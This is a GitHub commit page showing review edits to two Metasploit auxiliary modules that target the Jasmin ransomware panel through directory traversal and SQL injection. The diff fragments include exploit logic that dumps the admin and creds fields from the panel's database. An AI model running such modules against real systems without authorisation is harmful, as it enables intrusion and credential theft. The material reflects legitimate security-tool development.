Skip to content

Commit

Permalink
reviews for jasmin ransomware panel
Browse files Browse the repository at this point in the history
  • Loading branch information
h00die committed May 4, 2024
1 parent 8240b86 commit 753ca1d
Show file tree
Hide file tree
Showing 2 changed files with 5 additions and 5 deletions.
3 changes: 2 additions & 1 deletion modules/auxiliary/gather/jasmin_ransomware_dir_traversal.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
##

class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient

Expand Down Expand Up @@ -65,7 +66,7 @@ def run
)
fail_with(Failure::Unknown, 'No response from server') if res.nil?
fail_with(Failure::NotFound, 'Check FILE or DEPTH, file not found on server') if res.body.empty?
fail_with(Failure::UnexpectedReply, "Server returned an unexpected HTTP code: #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, "Server returned an unexpected HTTP code: #{res.code}") unless res.code == 302

print_good(res.body)
# store loot
Expand Down
7 changes: 3 additions & 4 deletions modules/auxiliary/gather/jasmin_ransomware_sqli.rb
Original file line number Diff line number Diff line change
Expand Up @@ -4,6 +4,7 @@
##

class MetasploitModule < Msf::Auxiliary
prepend Msf::Exploit::Remote::AutoCheck
include Msf::Auxiliary::Report
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::SQLi
Expand Down Expand Up @@ -74,10 +75,8 @@ def run
fail_with(Failure::Unreachable, 'Connection failed') unless res
end

unless @sqli.test_vulnerable
print_bad("#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.")
return
end
fail_with(Failure::NotVulnerable, "#{peer} - Testing of SQLi failed. If this is time based, try increasing SqliDelay.") unless @sqli.test_vulnerable

columns = ['admin', 'creds']
vprint_status('Dumping login table')
data = @sqli.dump_table_fields('master', columns, '')
Expand Down

0 comments on commit 753ca1d

Please sign in to comment.